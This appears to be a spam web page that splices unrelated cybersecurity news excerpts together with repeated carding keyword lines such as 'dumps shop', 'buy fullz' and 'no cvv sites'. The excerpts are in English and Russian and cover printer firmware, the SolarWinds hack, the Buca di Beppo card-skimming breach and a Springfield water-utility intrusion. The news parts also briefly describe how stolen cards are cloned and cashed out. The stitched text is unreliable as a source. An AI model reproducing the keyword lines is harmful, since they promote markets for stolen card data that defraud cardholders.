Any reputable vendor issues regular firmware upgrades to printers and other non-PC devices. System administrators are advised to install these firmware upgrades, as an unpatched printer makes a 24/7 opening for outsiders to access the networking, using the printer’s network connection as a sort of gateway device. Some newer models of corporate printers have an automatic firmware upgrade system that is enabled by default, it will be a good feature to have for their next corporate printer purchase.
<
dumps shop eu carder cc shop

У версии американской прессы о том, что недавнюю кибератаку на американское правительство совершили русские хакеры, есть слабые стороны, говорят опрошенные «Известиями» эксперты по информационной безопасности. По их данным, за инцидентом может стоять злоумышленник из Казахстана. Еще в 2017 году хакер торговал доступом к серверам SolarWinds: тысячи компьютеров были заражены файлом обновления программы этой компании. Впрочем, в 2018 году у организации утекли данные, позволяющие подменять файлы обновления. Поэтому организовать атаку мог даже продвинутый школьник, говорят некоторые эксперты.
Табличка у офиса компании FireEye в Милпитасе, США
Приложение SolarWinds Corp.
Здание министерства финансов США
— Из этого можно сделать вывод об участии опытной хакерской группировки. Но с какими «корнями» и целями? Вопрос остается открытым, — сказал Андрей Конусов.
Утечка данных на GitHub — не единственная причина полагать, что за взломом мог стоять кто-то, кроме могущественных русских хакеров. Издание Reuters, ссылаясь на анонимные источники, 17 декабря сообщило, что данные доступа к серверам SolarWinds еще в 2017 году продавались в даркнете пользователем под ником Fxmsp. Эту информацию «Известиям» подтвердили в компании Group-IB (у «Известий» есть скриншот объявления от хакера).
— Существует даже целое направление GitHub Scraping, в рамках которого массово исследуются репозитории на наличие ключей и паролей. В России на некоторых студенческих олимпиадах по информационной безопасности задания сложнее, — сказал Олег Бахтадзе-Карнаухов. — Взлом мог осуществить даже талантливый школьник, причем из любой страны мира.
new dumps shop best site to buy dumps

Earl Enterprise has taken over a month to remedy a breach that saw 2 million of its customers’ credit card information stolen in a breach that may have lasted up to 10 months.
KrebsOnSecurity stated that they had contacted Buca di Beppo on the 21st of February regarding a breach in their systems. According to the security and analysis website, they had found over 2 million credit card numbers on sale on the dark web . They had strong evidence pointing to a breach in American fast food giant Buca di Beppo systems.
The point of ingress, according to KrebsOnSecurity , was in the PoS (Point of Sale) machines used in their restaurants. The malware was installed on these machines that skimmed the card numbers, expiration dates and even names from some 2.15 million clients.
Earl Enterprises, a holding company that owns a number of popular fast-food brands, said the breach happened between the 23rd of May 2018 and the 18th of March 2019. They have, in their own words, contained the incident.
They stated that the breach had been found in several of its restaurants. Buca di Beppo was most severely impacted. Planet Hollywood, Earl of Sandwich, Chicken Guy!, Mixology and Tequila Taqueria were also impacted in this attack. The breach was present in over 40 states across the United States.
The company has set up a website for customers to check if they visited the locations that were exposed. They have also confirmed that orders made online were not affected in any way. Earl Enterprises has recommended to its customers to check if there is any suspicious activity in their bank accounts. If they do find any fraudulent transactions, they should notify the issuer immediately.
Earl Enterprises has been coy on the specifics of how many of its customers may have been affected. What is known is how many credit card details were made available for sale online. That much was reported by KrebsOnSecurity, but more specific figures have not been released.
The company added that while the cardholder is not responsible for fraudulent transactions, it is not wise to hope that your bank will detect all fraud. Regularly reviewing your bank statements and monthly transactions can help keep any potential future problems under lock and key.
The credit card dump was found on Joker’s Stash. The website specializes in selling large, fresh batches of credit card details to people who want to profit off them. The website is known for organizing various batches of details according to a codename.
This is done to enable purchasers to know which batch from which merchant is good. This then allows them to either ignore that batch codename or buy more stolen details from they then profit even more.
This focus on batches and nicknames doe snot always correlate to a specific merchant, but there are ways and means for regular users to find out what merchant has been attacked. This will then influence the overall price of future batches. An upscale merchant with fresh details can go for more than a budget merchant with stale card details.
It was due to the in-depth research that KrebsOnSecurity was able to distinguish that the cards had come from Buca di Beppo.
Malicious hackers typically take the car details and clone the cards, using a duplicated card to buy expensive items at retail locations offline. These locations are usually electronics store and big box stores. This allows them to buy goods that sell quickly and easily for cash as “unwanted presents” or through fences with a stable network to sell through.
buy fullz info amazing dumps shop

По странному совпадению спустя всего несколько дней после того, как Пентагон направил в Конгресс США доклад, декларирующий необходимость военного или, как говорят в минобороны США, “кинетического” ответа на хакерские нападения на инфраструктуру страны, американские СМИ распространили новость о “первой известной кибератаке. Она нанесла ущерб одной из систем по обеспечению американцев водой, электричеством и другими жизненно важными услугами”.
Как оказалось, объектом нападения неизвестных хакеров стала система водоснабжения города Спрингфилд в штате Иллинойс. Сама виртуальная атака, в результате которой были испорчены водяные насосы одной из частных коммунальных компаний, произошла еще 8 ноября.
Странным образом, от неназванного источника в распоряжении американских журналистов оказался доклад под грифом “Для служебного пользования”, подготовленный 10 ноября властями штата Иллинойс. В нем  уточняется, что иностранные хакеры “сломали” программное обеспечение, получили  доступ к базам данных коммунальных служб, украли пароли и стали удаленно включать и выключать помпы для подачи воды, в результате чего они сгорели.  Кроме того, приводится информация о том, что специалисты обратили внимание на “глюки” и нестабильную работу компьютерных сетей, обслуживающих водное хозяйство города Спрингфилд, еще два или три месяца назад, но не придавали этому значения до тех пор пока не сгорело оборудование.
К изучению доклада, озаглавленного “Кибервторжение в систему общественного водоснабжения”,  уже приступили Министерство внутренней безопасности США и ФБР.
Федеральные власти США, пояснила газета “Вашингтон таймс”, заявили, что будут расследовать инцидент, но “понизили его значение, настаивая на том, что доклад может быть ошибкой”. Впрочем, уточняет издание, если информация подтвердится, то это будет означать, что “атакующие добились аналогичного эффекта, как и в случае с вирусом “Stuxnet”, нарушившим работу центрифуг в Иране ” (речь идет о компьютерной диверсии, предположительно западных государств, уничтожившей сотни центрифуг по обогащению урана и задержавший развитие иранской ядерной программы – “РГ”).  
На фоне “первой успешной хакерской атаки, нанесшей физический ущерб” в Америке вновь прозвучали выступления конгрессменов о необходимости срочно уделить внимание уязвимости инфраструктуры США перед лицом нарастающей киберугрозы. 
no cvv sites 2018 cvv sites 2019